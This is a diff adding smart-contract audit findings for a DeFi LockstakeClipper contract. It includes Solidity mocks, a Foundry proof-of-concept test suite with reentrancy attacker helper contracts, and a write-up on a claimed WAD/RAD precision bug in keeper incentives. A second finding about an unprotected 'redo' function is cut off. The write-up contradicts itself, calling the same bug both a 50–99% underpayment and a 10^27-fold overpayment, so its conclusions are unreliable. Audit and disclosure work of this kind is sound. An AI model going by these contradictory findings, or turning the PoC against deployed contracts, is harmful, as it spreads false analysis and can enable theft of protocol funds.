uint256 wad); + event Wipe(address indexed urn, uint256 wad); + event OnKick(address indexed urn, uint256 wad); + event OnTake(address indexed urn, address indexed who, uint256 wad); + event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256 refund); + + constructor(address vat_, address nstJoin_, bytes32 ilk_, address mkr_, address lsmkr_, uint256 fee_) { + vat = VatLike(vat_); + nstJoin = NstJoinLike(nstJoin_); + nst = GemLike(NstJoinLike(nstJoin_).nst()); // Access the public nst variable + ilk = ilk_; + mkr = GemLike(mkr_); + lsmkr = GemLike(lsmkr_); + fee = fee_; + + wards[msg.sender] = 1; + emit Rely(msg.sender); + } + + function file(bytes32 what, address data) external auth { + if (what == "jug") jug = JugLike(data); + else revert("LockstakeEngineMock/file-unrecognized-param"); + emit File(what, data); + } + + function lock(address urn, uint256 wad, uint16 ref) external { + mkr.transferFrom(msg.sender, address(this), wad); + vat.slip(ilk, urn, int256(wad)); + vat.frob(ilk, urn, urn, address(0), int256(wad), 0); + lsmkr.mint(urn, wad); + emit Lock(urn, wad, ref); + } + + function free(address urn, address to, uint256 wad) external auth returns (uint256 freed) { + lsmkr.burn(urn, wad); + vat.frob(ilk, urn, urn, address(0), -int256(wad), 0); + vat.slip(ilk, urn, -int256(wad)); + uint256 burn = wad * fee / WAD; + freed = wad - burn; + mkr.burn(address(this), burn); + mkr.transfer(to, freed); + emit Free(urn, to, wad, freed); + } + + function draw(address urn, address to, uint256 wad) external { + require(address(jug) != address(0), "LockstakeEngineMock/jug-not-set"); + uint256 rate = jug.drip(ilk); + uint256 dart = (wad * RAY + rate - 1) / rate; + vat.frob(ilk, urn, address(0), address(this), 0, int256(dart)); + vat.hope(address(nstJoin)); + nstJoin.exit(to, wad); + emit Draw(urn, to, wad); + } + + function wipe(address urn, uint256 wad) external { + nst.transferFrom(msg.sender, address(this), wad); + uint256 rate = jug.drip(ilk); + uint256 dart = wad * RAY / rate; + vat.frob(ilk, urn, address(0), address(this), 0, -int256(dart)); + emit Wipe(urn, wad); + } + + function onKick(address urn, uint256 wad) external auth { + lsmkr.burn(urn, wad); + emit OnKick(urn, wad); + } + + function onTake(address urn, address who, uint256 wad) external auth { + mkr.transfer(who, wad); + emit OnTake(urn, who, wad); + } + + function onRemove(address urn, uint256 sold, uint256 left) external auth { + uint256 burn = sold * fee / (WAD - fee); + uint256 refund = left > burn ? left - burn : 0; + if (burn > 0) mkr.burn(address(this), burn); + if (refund > 0) { + vat.slip(ilk, urn, int256(refund)); + vat.frob(ilk, urn, urn, address(0), int256(refund), 0); + lsmkr.mint(urn, refund); + } + emit OnRemove(urn, sold, burn, refund); + } +} + +``` + +NstJoinMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import {GemMock} from "test/mocks/GemMock.sol"; +import "test/mocks/LockstakeEngineMock.sol"; + +contract NstJoinMock { + VatLike public immutable vat; + GemLike public immutable nst; + mapping(address => uint256) public wards; + + constructor(address vat_, address nst_) { + vat = VatLike(vat_); + nst = GemLike(nst_); + wards[msg.sender] = 1; + } + + function join(address usr, uint256 wad) external { + vat.move(address(this), usr, wad * 10 ** 27); + nst.burn(msg.sender, wad); + } + + function exit(address usr, uint256 wad) external { + vat.move(msg.sender, address(this), wad * 10 ** 27); + nst.mint(usr, wad); + } + + modifier auth() { + require(wards[msg.sender] == 1, "NstJoinMock/not-authorized"); + _; + } + + function rely(address usr) external auth { + wards[usr] = 1; + } + + function deny(address usr) external auth { + wards[usr] = 0; + } +} + +``` +LockstakeClipperAudit.t.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import {LockstakeClipper} from "src/LockstakeClipper.sol"; +import {LockstakeEngineMock} from "test/mocks/LockstakeEngineMock.sol"; +import {PipMock} from "test/mocks/PipMock.sol"; +import {StairstepExponentialDecreaseAbstract} from + "../lib/token-tests/lib/dss-test/lib/dss-interfaces/src/dss/StairstepExponentialDecreaseAbstract.sol"; +import {GemMock} from "./mocks/GemMock.sol"; // Adjust the path if necessary +import {NstJoinMock} from "./mocks/NstJoinMock.sol"; // Adjust the path if necessary + +contract BadGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.take({ // attempt reentrancy + id: 1, + amt: 25 ether, + max: 5 ether * 10e27, + who: address(this), + data: "" + }); + } +} + +contract RedoGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + owe; + slice; + data; + clip.redo(1, sender); + } +} + +contract KickGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.kick(1, 1, address(0), address(0)); + } +} + +contract FileUintGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.file("stopped", 1); + } +} + +contract FileAddrGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.file("vow", address(123)); + } +} + +contract YankGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external { + sender; + owe; + slice; + data; + clip.yank(1); + } +} + +contract PublicClip is LockstakeClipper { + constructor(address vat, address spot, address dog, address engine) LockstakeClipper(vat, spot, dog, engine) {} + + function add() public returns (uint256 id) { + id = ++kicks; + active.push(id); + sales[id].pos = active.length - 1; + } + + function remove(uint256 id) public { + _remove(id); + } +} + +interface VatLike { + function dai(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); + function approve(address, uint256) external; + function transfer(address, uint256) external returns (bool); + function transferFrom(address, address, uint256) external returns (bool); + function mint(address, uint256) external; + function burn(address, uint256) external; +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + +interface VowLike {} + +contract JugMock { + uint256 constant RAY = 10 ** 27; + + function drip(bytes32) external returns (uint256) { + return RAY; // Return a constant rate for simplicity + } +} + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + PipMock pip; + GemLike dai; + StairstepExponentialDecreaseAbstract calc; + + LockstakeEngineMock engine; + LockstakeClipper clip; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + address bob; + address che; + + bytes32 constant ilk = "LSE"; + uint256 constant price = 5 ether; + + uint256 constant startTime = 604411200; // Used to avoid issues with `block.timestamp` + + function setUp() public { + console.log("Starting setUp..."); + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + console.log("Loading DssInstance..."); + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + GemLike mkr = GemLike(dss.chainlog.getAddress("MCD_GOV")); + + console.log("Deploying PipMock..."); + pip = new PipMock(); + pip.setPrice(price); + + console.log("Creating mock lsMKR token..."); + uint256 initialLsMkrSupply = 1000000 * 10 ** 18; + GemMock mockLsmkr = new GemMock(initialLsMkrSupply); + + console.log("Starting prank as pauseProxy..."); + vm.startPrank(pauseProxy); + + console.log("Initializing ilk..."); + dss.vat.init(ilk); + + console.log("Setting up Spotter..."); + dss.spotter.file(ilk, "pip", address(pip)); + dss.spotter.file(ilk, "mat", ray(2 ether)); + dss.spotter.poke(ilk); + + console.log("Setting up Vat..."); + dss.vat.file(ilk, "dust", rad(20 ether)); + dss.vat.file(ilk, "line", rad(10000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(10000 ether)); + + console.log("Setting up Dog..."); + dss.dog.file(ilk, "chop", 1.1 ether); + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + console.log("Deploying NstJoinMock..."); + GemMock nstMock = new GemMock(1000000 * 10 ** 18); // Initial supply for NST mock + NstJoinMock nstJoinMock = new NstJoinMock(address(dss.vat), address(nstMock)); + + // Get MKR address directly from chainlog + address mkrAddress = dss.chainlog.getAddress("MCD_GOV"); + + console.log("Deploying JugMock..."); + JugMock jugMock = new JugMock(); + + console.log("Deploying LockstakeEngineMock..."); + engine = new LockstakeEngineMock( + address(dss.vat), + address(nstJoinMock), + ilk, + mkrAddress, + address(mockLsmkr), + 0 // fee parameter + ); + engine.file("jug", address(jugMock)); + + // Set up realistic permissions + dss.vat.rely(address(engine)); + dss.vat.rely(address(nstJoinMock)); + dss.vat.hope(address(engine)); + dss.vat.hope(address(nstJoinMock)); + engine.rely(address(this)); + nstJoinMock.rely(address(engine)); + + vm.stopPrank(); + + // Allow the engine to move its own Dai + vm.prank(address(engine)); + dss.vat.hope(address(nstJoinMock)); + + // Allow LockstakeEngineMock to modify the Vat balance of the test contract + vm.prank(address(this)); + dss.vat.hope(address(engine)); + + console.log("Deploying LockstakeClipper..."); + vm.prank(pauseProxy); + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + + // Authorize the LockstakeClipper after deployment + vm.prank(address(this)); + engine.rely(address(clip)); + + vm.startPrank(pauseProxy); + clip.upchost(); + clip.rely(address(dss.dog)); + clip.rely(address(this)); + vm.stopPrank(); + + console.log("Setting up mock StairstepExponentialDecrease..."); + address calcAddr = address(uint160(uint256(keccak256("StairstepExponentialDecrease")))); + vm.etch(calcAddr, hex"00"); + calc = StairstepExponentialDecreaseAbstract(calcAddr); + vm.mockCall(address(calc), abi.encodeWithSelector(calc.price.selector), abi.encode(RAY)); + + console.log("Configuring LockstakeClipper..."); + vm.startPrank(pauseProxy); + clip.file("calc", address(calc)); + clip.file("buf", RAY + (RAY / 4)); + clip.file("tail", 3600); + clip.file("cusp", (3 * RAY) / 10); + vm.stopPrank(); + + console.log("Final setup steps..."); + vm.startPrank(pauseProxy); + dss.vat.rely(address(this)); + dss.dog.rely(address(this)); + dss.dog.file(ilk, "clip", address(clip)); + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + vm.stopPrank(); + + // Additional permissions + dss.vat.hope(address(clip)); + dss.vat.hope(address(this)); + + console.log("Minting Dai..."); + vm.prank(pauseProxy); + dss.vat.suck(address(0), address(this), rad(10000 ether)); + + console.log("Setting unsafe conditions..."); + pip.setPrice(4 ether); + dss.spotter.poke(ilk); + + console.log("Setting up test accounts..."); + ali = address(111); + bob = address(222); + che = address(333); + + dss.vat.hope(address(clip)); + vm.prank(ali); + dss.vat.hope(address(clip)); + vm.prank(bob); + dss.vat.hope(address(clip)); + + console.log("Minting additional Dai for test accounts..."); + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(ali), rad(1000 ether)); + dss.vat.suck(address(0), address(bob), rad(1000 ether)); + vm.stopPrank(); + + console.log("Final authorization steps..."); + dss.vat.rely(address(clip)); + dss.vat.hope(address(clip)); + clip.rely(address(this)); + dss.vat.rely(address(this)); + + clip.file("vow", address(dss.vow)); + + dss.vat.rely(address(dss.vow)); + dss.vat.rely(address(engine)); + dss.vat.hope(address(this)); + + // Approve mockLsmkr for the engine + mockLsmkr.approve(address(engine), type(uint256).max); + + // Allocate MKR to the test contract + vm.prank(pauseProxy); + mkr.transfer(address(this), 1000 ether); + + // Approve engine to transfer MKR from the test contract + mkr.approve(address(engine), type(uint256).max); + + // Verify setup + require(dss.vat.wards(pauseProxy) == 1, "PauseProxy not authorized in Vat"); + require(dss.vat.wards(address(this)) == 1, "Test contract not authorized in Vat"); + require(dss.vat.wards(address(engine)) == 1, "LockstakeEngineMock not authorized in Vat"); + (,,,, uint256 dust) = dss.vat.ilks(ilk); + require(dust > 0, "Ilk not initialized in Vat"); + + console.log("Vow address:", clip.vow()); + console.log("setUp completed successfully"); + } + + function testHighChipIncentive() public { + uint256 chipValue = WAD / 2; // 50% + uint256 tipValue = 1 ether; // 1 DAI flat fee + clip.file("chip", chipValue); + clip.file("tip", tipValue); + console.log("Chip set to:", chipValue); + console.log("Tip set to:", tipValue); + + // Check initial collateral + (uint256 initialInk,) = dss.vat.urns(ilk, address(this)); + console.log("Initial collateral in Vat:", initialInk); + + // Set up initial conditions + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 75 ether; + + // Set liquidation ratio (mat) to 150% + vm.prank(pauseProxy); + dss.spotter.file(ilk, "mat", ray(1.5 ether)); + + // Ensure proper permissions + vm.startPrank(pauseProxy); + dss.vat.rely(address(engine)); + engine.rely(address(this)); + dss.vat.rely(address(this)); + vm.stopPrank(); + + // Lock collateral + vm.startPrank(address(this)); + GemLike mkrToken = GemLike(dss.chainlog.getAddress("MCD_GOV")); + mkrToken.approve(address(engine), initialCollateral); + engine.lock(address(this), initialCollateral, 0); + vm.stopPrank(); + + // Verify collateral in Vat + (uint256 ink,) = dss.vat.urns(ilk, address(this)); + console.log("Collateral in Vat after lock:", ink); + assertEq(ink, initialInk + initialCollateral, "Collateral not properly locked"); + + // Draw debt + vm.prank(address(this)); + engine.draw(address(this), address(this), initialDebt); + + // Verify collateral and debt after draw + uint256 art; + (ink, art) = dss.vat.urns(ilk, address(this)); + console.log("Collateral in Vat after draw:", ink); + console.log("Debt in Vat after draw:", art); + assertEq(art, initialDebt, "Debt not properly drawn"); + + // Set price to make position unsafe + uint256 unsafePrice = 1 ether; // This should make the position unsafe + pip.setPrice(unsafePrice); + dss.spotter.poke(ilk); + + // Log relevant information + (uint256 Art, uint256 rate, uint256 spot, uint256 line, uint256 dust) = dss.vat.ilks(ilk); + console.log("Total normalized debt (Art):", Art); + console.log("Rate:", rate); + console.log("Spot price:", spot); + console.log("Debt ceiling (line):", line); + console.log("Dust:", dust); + console.log("Safety (collateral value / debt): ", (ink * spot) / (art * rate)); + + uint256 initialDaiVow = dss.vat.dai(address(dss.vow)); + uint256 initialDaiKeeper = dss.vat.dai(address(this)); + console.log("Initial Dai in Vow:", initialDaiVow); + console.log("Initial Dai in Keeper:", initialDaiKeeper); + + uint256 kickId = dss.dog.bark(ilk, address(this), address(this)); + console.log("Kick ID:", kickId); + + uint256 keeperBalanceAfterKick = dss.vat.dai(address(this)); + console.log("Keeper balance after kick:", keeperBalanceAfterKick); + + uint256 actualKeeperProfit = keeperBalanceAfterKick - initialDaiKeeper; + console.log("Actual keeper profit:", actualKeeperProfit); + + // Calculate expected profit + uint256 expectedProfit = tipValue + (initialDebt * chipValue / WAD); + console.log("Expected keeper profit:", expectedProfit); + + // Set an acceptable upper bound, e.g., 10% above the expected profit + uint256 maxAcceptableProfit = expectedProfit * 11 / 10; // 110% of expected profit + + // Assert that the actual profit is within the acceptable range + assertGe(actualKeeperProfit, expectedProfit, "Keeper received less than expected incentive"); + assertLe(actualKeeperProfit, maxAcceptableProfit, "Keeper received significantly more than expected incentive"); + + console.log("Max acceptable profit:", maxAcceptableProfit); + + (uint256 pos, uint256 tab, uint256 lot, uint256 tot, address usr, uint96 tic, uint256 top) = clip.sales(kickId); + console.log("Auction tab:", tab); + console.log("Auction lot:", lot); + console.log("Auction top price:", top); + + vm.warp(block.timestamp + 1 hours); + + uint256 maxPrice = top * 2; + console.log("Dai in Vow before take:", dss.vat.dai(address(dss.vow))); + console.log("Keeper balance before take:", dss.vat.dai(address(this))); + + clip.take(kickId, lot, maxPrice, address(this), ""); + + uint256 finalDaiVow = dss.vat.dai(address(dss.vow)); + uint256 finalDaiKeeper = dss.vat.dai(address(this)); + + console.log("Final Dai in Vow:", finalDaiVow); + console.log("Final Dai in Keeper:", finalDaiKeeper); + + (,, uint256 remainingLot,,,,) = clip.sales(kickId); + console.log("Remaining lot:", remainingLot); + + // Check that most of the debt went to the Vow + uint256 debtToVow = finalDaiVow - initialDaiVow; + assertGe(debtToVow, initialDebt * RAY * 90 / 100, "Vow should receive most of the debt"); + + // Check that the auction was completed + assertLe(remainingLot, initialCollateral * 5 / 100, "Most collateral should be liquidated"); + + // Check that the keeper didn't receive additional profit from take + assertEq(finalDaiKeeper, keeperBalanceAfterKick, "Keeper shouldn't profit from take"); + } + + function _ink(bytes32 ilk_, address urn_) internal view returns (uint256) { + (uint256 ink_,) = dss.vat.urns(ilk_, urn_); + return ink_; + } + + function _art(bytes32 ilk_, address urn_) internal view returns (uint256) { + (, uint256 art_) = dss.vat.urns(ilk_, urn_); + return art_; + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + function _checkAuth(address usr) internal view { + (, uint256 rate,,,) = dss.vat.ilks(ilk); + require(dss.vat.wards(usr) == 1, "usr is not authorized"); + require(dss.vat.can(address(this), usr) == 1, "usr is not hoped"); + } + + function _checkWish(address src, address dst) internal view returns (bool) { + return dss.vat.can(src, dst) == 1 || src == dst; + } + + function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = x * y / WAD; + } + + function testIncentiveCalculationVulnerability() public { + uint256[] memory tipValues = new uint256[](3); + tipValues[0] = 1 ether; // 1 DAI tip + tipValues[1] = 10 ether; // 10 DAI tip + tipValues[2] = 100 ether; // 100 DAI tip + + uint256[] memory chipValues = new uint256[](3); + chipValues[0] = WAD / 100; // 1% chip + chipValues[1] = WAD / 10; // 10% chip + chipValues[2] = WAD / 5; // 20% chip + + for (uint256 i = 0; i < tipValues.length; i++) { + for (uint256 j = 0; j < chipValues.length; j++) { + runVulnerabilityTest(tipValues[i], chipValues[j]); + } + } + } + + function runVulnerabilityTest(uint256 tipValue, uint256 chipValue) internal { + console.log("Testing with tip:", tipValue, "and chip:", chipValue); + + clip.file("chip", chipValue); + clip.file("tip", tipValue); + + // Set up a specific debt value + uint256 debtInRad = 100 * RAD; // 100 DAI of debt in RAD precision + + // Calculate components separately + uint256 tipComponent = tipValue; + uint256 chipComponent = wmul(debtInRad, chipValue); + + // Vulnerable calculation (as in the contract) + uint256 vulnerableIncentive = tipComponent + chipComponent; + + // Correct calculation + uint256 correctTipComponent = tipValue * RAY; + uint256 correctChipComponent = debtInRad * chipValue / WAD; + uint256 correctIncentive = correctTipComponent + correctChipComponent; + + // Log component calculations + console.log("Tip component (vulnerable):", tipComponent); + console.log("Tip component (correct):", correctTipComponent); + console.log("Chip component (vulnerable):", chipComponent); + console.log("Chip component (correct):", correctChipComponent); + + // Log total calculations + console.log("Vulnerable incentive calculation (RAD):", vulnerableIncentive); + console.log("Correct incentive calculation (RAD):", correctIncentive); + + // Calculate and log the difference + uint256 difference = correctIncentive - vulnerableIncentive; + console.log("Difference (RAD):", difference); + + // Calculate and log the percentage difference + uint256 percentageDiff = (difference * WAD) / correctIncentive; + console.log("Percentage difference:", percentageDiff); + + // Assertions + if (tipValue > 0) { + assertGt(difference, 0, "There should be a difference when tip is non-zero"); + assertEq( + vulnerableIncentive, tipValue + chipComponent, "Vulnerable calculation should add WAD tip to RAD chip" + ); + assertEq( + correctIncentive, (tipValue * RAY) + chipComponent, "Correct calculation should convert tip to RAD" + ); + } else { + assertEq(difference, 0, "There should be no difference when tip is zero"); + } + + assertEq(chipComponent, correctChipComponent, "Chip component should be calculated correctly"); + + // Mock the actual kick function behavior + uint256 actualIncentive = mockKickFunction(debtInRad, tipValue, chipValue); + console.log("Actual incentive from mocked kick (RAD):", actualIncentive); + + // Assert that the actual incentive matches the vulnerable calculation + assertEq(actualIncentive, vulnerableIncentive, "Actual incentive should match vulnerable calculation"); + + console.log("---"); + } + + function mockKickFunction(uint256 tab, uint256 _tip, uint256 _chip) internal returns (uint256) { + // This function mimics the relevant part of the kick function in LockstakeClipper + uint256 coin = _tip + wmul(tab, _chip); + + // Simulate vat.suck + vm.prank(address(clip)); + dss.vat.suck(address(dss.vow), address(this), coin); + + return coin; + } + + function testFifteenChipIncentive() public { + uint256 chipValue = 150000000000000000; // 15% + uint256 tipValue = 1 ether; // 1 DAI flat fee + clip.file("chip", chipValue); + clip.file("tip", tipValue); + console.log("Chip set to:", chipValue); + console.log("Tip set to:", tipValue); + + // Check initial collateral + (uint256 initialInk,) = dss.vat.urns(ilk, address(this)); + console.log("Initial collateral in Vat:", initialInk); + + // Set up initial conditions + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 75 ether; + + // Set liquidation ratio (mat) to 150% + vm.prank(pauseProxy); + dss.spotter.file(ilk, "mat", ray(1.5 ether)); + + // Ensure proper permissions + vm.startPrank(pauseProxy); + dss.vat.rely(address(engine)); + engine.rely(address(this)); + dss.vat.rely(address(this)); + vm.stopPrank(); + + // Lock collateral + vm.startPrank(address(this)); + GemLike mkrToken = GemLike(dss.chainlog.getAddress("MCD_GOV")); + mkrToken.approve(address(engine), initialCollateral); + engine.lock(address(this), initialCollateral, 0); + vm.stopPrank(); + + // Verify collateral in Vat + (uint256 ink,) = dss.vat.urns(ilk, address(this)); + console.log("Collateral in Vat after lock:", ink); + assertEq(ink, initialInk + initialCollateral, "Collateral not properly locked"); + + // Draw debt + vm.prank(address(this)); + engine.draw(address(this), address(this), initialDebt); + + // Verify collateral and debt after draw + uint256 art; + (ink, art) = dss.vat.urns(ilk, address(this)); + console.log("Collateral in Vat after draw:", ink); + console.log("Debt in Vat after draw:", art); + assertEq(art, initialDebt, "Debt not properly drawn"); + + // Set price to make position unsafe + uint256 unsafePrice = 1 ether; // This should make the position unsafe + pip.setPrice(unsafePrice); + dss.spotter.poke(ilk); + + // Log relevant information + (uint256 Art, uint256 rate, uint256 spot, uint256 line, uint256 dust) = dss.vat.ilks(ilk); + console.log("Total normalized debt (Art):", Art); + console.log("Rate:", rate); + console.log("Spot price:", spot); + console.log("Debt ceiling (line):", line); + console.log("Dust:", dust); + console.log("Safety (collateral value / debt): ", (ink * spot) / (art * rate)); + + uint256 initialDaiVow = dss.vat.dai(address(dss.vow)); + uint256 initialDaiKeeper = dss.vat.dai(address(this)); + console.log("Initial Dai in Vow:", initialDaiVow); + console.log("Initial Dai in Keeper:", initialDaiKeeper); + + uint256 kickId = dss.dog.bark(ilk, address(this), address(this)); + console.log("Kick ID:", kickId); + + uint256 keeperBalanceAfterKick = dss.vat.dai(address(this)); + console.log("Keeper balance after kick:", keeperBalanceAfterKick); + + uint256 actualKeeperProfit = keeperBalanceAfterKick - initialDaiKeeper; + console.log("Actual keeper profit:", actualKeeperProfit); + + // Calculate expected profit + uint256 expectedProfit = tipValue + (initialDebt * chipValue / WAD); + console.log("Expected keeper profit:", expectedProfit); + + // Set an acceptable upper bound, e.g., 10% above the expected profit + uint256 maxAcceptableProfit = expectedProfit * 11 / 10; // 110% of expected profit + + // Assert that the actual profit is within the acceptable range + assertGe(actualKeeperProfit, expectedProfit, "Keeper received less than expected incentive"); + assertLe(actualKeeperProfit, maxAcceptableProfit, "Keeper received significantly more than expected incentive"); + + console.log("Max acceptable profit:", maxAcceptableProfit); + + (uint256 pos, uint256 tab, uint256 lot, uint256 tot, address usr, uint96 tic, uint256 top) = clip.sales(kickId); + console.log("Auction tab:", tab); + console.log("Auction lot:", lot); + console.log("Auction top price:", top); + + vm.warp(block.timestamp + 1 hours); + + uint256 maxPrice = top * 2; + console.log("Dai in Vow before take:", dss.vat.dai(address(dss.vow))); + console.log("Keeper balance before take:", dss.vat.dai(address(this))); + + clip.take(kickId, lot, maxPrice, address(this), ""); + + uint256 finalDaiVow = dss.vat.dai(address(dss.vow)); + uint256 finalDaiKeeper = dss.vat.dai(address(this)); + + console.log("Final Dai in Vow:", finalDaiVow); + console.log("Final Dai in Keeper:", finalDaiKeeper); + + (,, uint256 remainingLot,,,,) = clip.sales(kickId); + console.log("Remaining lot:", remainingLot); + + // Check that most of the debt went to the Vow + uint256 debtToVow = finalDaiVow - initialDaiVow; + assertGe(debtToVow, initialDebt * RAY * 90 / 100, "Vow should receive most of the debt"); + + // Check that the auction was completed + assertLe(remainingLot, initialCollateral * 5 / 100, "Most collateral should be liquidated"); + + // Check that the keeper didn't receive additional profit from take + assertEq(finalDaiKeeper, keeperBalanceAfterKick, "Keeper shouldn't profit from take"); + } +} + + +``` + +Run this test with `forge test --mt testIncentiveCalculationVulnerability -vv ` or `forge test --mt testIncentiveCalculationVulnerability -vv --via-ir` if needed + +Run the other two tests with `forge test --mt testFifteenChipIncentive -vv --via-ir` and `forge test --mt testHighChipIncentive -vv --via-ir` + +What the output of the Test `testIncentiveCalculationVulnerability` proves: + +Precision Mismatch: The output clearly shows that the tip component is consistently undervalued in the vulnerable calculation. The vulnerable tip component is in WAD precision (18 decimals), while the correct tip component is in RAD precision (45 decimals). + +Magnitude of Error: The "Difference (RAD)" values demonstrate that the error is substantial, often in the range of 10^45, which is equivalent to the entire intended incentive amount in many cases. + +Consistency of the Bug: Across all test cases, the "Actual incentive from mocked kick" matches the "Vulnerable incentive calculation", proving that the contract consistently uses the incorrect calculation method. + +Variability of Impact: The "Percentage difference" shows how the severity of the underpayment varies with different tip and chip values. It ranges from about 47% to 99% of the intended incentive being missing: +With a 1 DAI tip and 1% chip, about 50% of the intended incentive is missing +With a 10 DAI tip and 10% chip, about 50% of the intended incentive is missing +With a 100 DAI tip and 20% chip, about 83% of the intended incentive is missing + +The bug has a more severe impact when the tip is large relative to the chip. For instance, with a 100 DAI tip and 1% chip, about 99% of the intended incentive is missing. + +Chip Calculation Correctness: The chip component calculations match in both vulnerable and correct methods, indicating that the error is specifically in how the tip is handled. + +Severity Relative to Tip and Chip Ratio: The test cases demonstrate that the severity of the underpayment increases when the fixed tip is large relative to the percentage-based chip. For instance, with a 100 DAI tip and 1% chip, about 99% of the intended incentive is missing, while with a 100 DAI tip and 20% chip, about 83% is missing. This proves that the bug has a more significant impact when the tip constitutes a larger portion of the total intended incentive. + +What the output of "testFifteenChipIncentive" and "testHighChipIncentive" mean: +Both tests reveal a critical issue in the LockstakeClipper contract's incentive calculation mechanism. The key findings are: + +1. Consistent Overpayment: +In testHighChipIncentive (50% chip): +Expected profit: 38500000000000000000 (38.5 DAI) +Actual profit: 41250000000000000000000000001000000000000000000 (~4.125e46 DAI) +In testFifteenChipIncentive (15% chip): +Expected profit: 12250000000000000000 (12.25 DAI) +Actual profit: 12375000000000000000000000001000000000000000000 (~1.237e46 DAI) + +2. Magnitude of Overpayment: +In both cases, the actual profit is approximately 10^27 times larger than the expected profit. This massive discrepancy is consistent across different chip values, indicating a fundamental flaw in the calculation rather than an issue specific to certain parameters. +3. Precision Mismatch: +The overpayment factor of 10^27 strongly suggests a precision mismatch between WAD (10^18) and RAD (10^45) values in the calculation. This aligns with the identified issue in the kick function where WAD and RAD values are incorrectly combined. +4. Chip Value Impact: +Changing the chip value from 50% to 15% did not resolve or significantly alter the overpayment issue. This demonstrates that the vulnerability is not dependent on high chip values and persists even with more conservative settings. +5. Protocol Risk: +The tests show that for each liquidation, the protocol is paying out astronomically more than intended. In a real-world scenario, this could rapidly deplete the protocol's incentive reserves, potentially leading to insolvency if not detected and addressed promptly. +6. Keeper Implications: +Keepers triggering liquidations would receive enormously inflated rewards. This could lead to a "gold rush" scenario where keepers aggressively compete for liquidations, potentially destabilizing the market and draining protocol resources. +7. Systemic Vulnerability: +The persistence of the issue across different chip values indicates a systemic problem in the incentive calculation mechanism. This suggests that simple parameter adjustments will not resolve the underlying issue. + + +### Mitigation +Update the `kick` function in the `LockstakeClipper` contract to ensure proper precision handling. Example below: +```javascript +uint256 tipInRad = _tip * RAY; +uint256 chipInRad = wmul(tab, _chip); +coin = tipInRad + chipInRad; +``` +This ensures both components are in RAD precision before addition. + + +Implement additional checks and balances in the incentive calculation: +Add input validation to ensure that _tip and _chip are within expected ranges. +Implement upper and lower bounds for the total incentive to catch any abnormal calculations. +Add assertions or require statements to verify the precision of intermediate and final results. + + +Or you can also consider a more robust incentive structure that's less prone to precision errors: +Redesign the incentive structure to use consistent precision throughout all calculations. +Explore alternative incentive models that don't rely on mixing fixed (tip) and percentage-based (chip) components. +Implement a scaling factor for the tip that automatically adjusts based on the size of the liquidation, reducing the impact of precision mismatches. + diff --git a/029.md b/029.md new file mode 100644 index 0000000..6d415c6 --- /dev/null +++ b/029.md @@ -0,0 +1,40 @@ +Generous Orange Raccoon + +High + +# The function `redo` can be used to steal all funds in `vat`. + +### Summary + +The lack of permission check for the `redo` function in `LockstakeClipper.sol` will result in the function `redo` being called arbitrarily, thereby stealing incentive funds. + +### Root Cause + 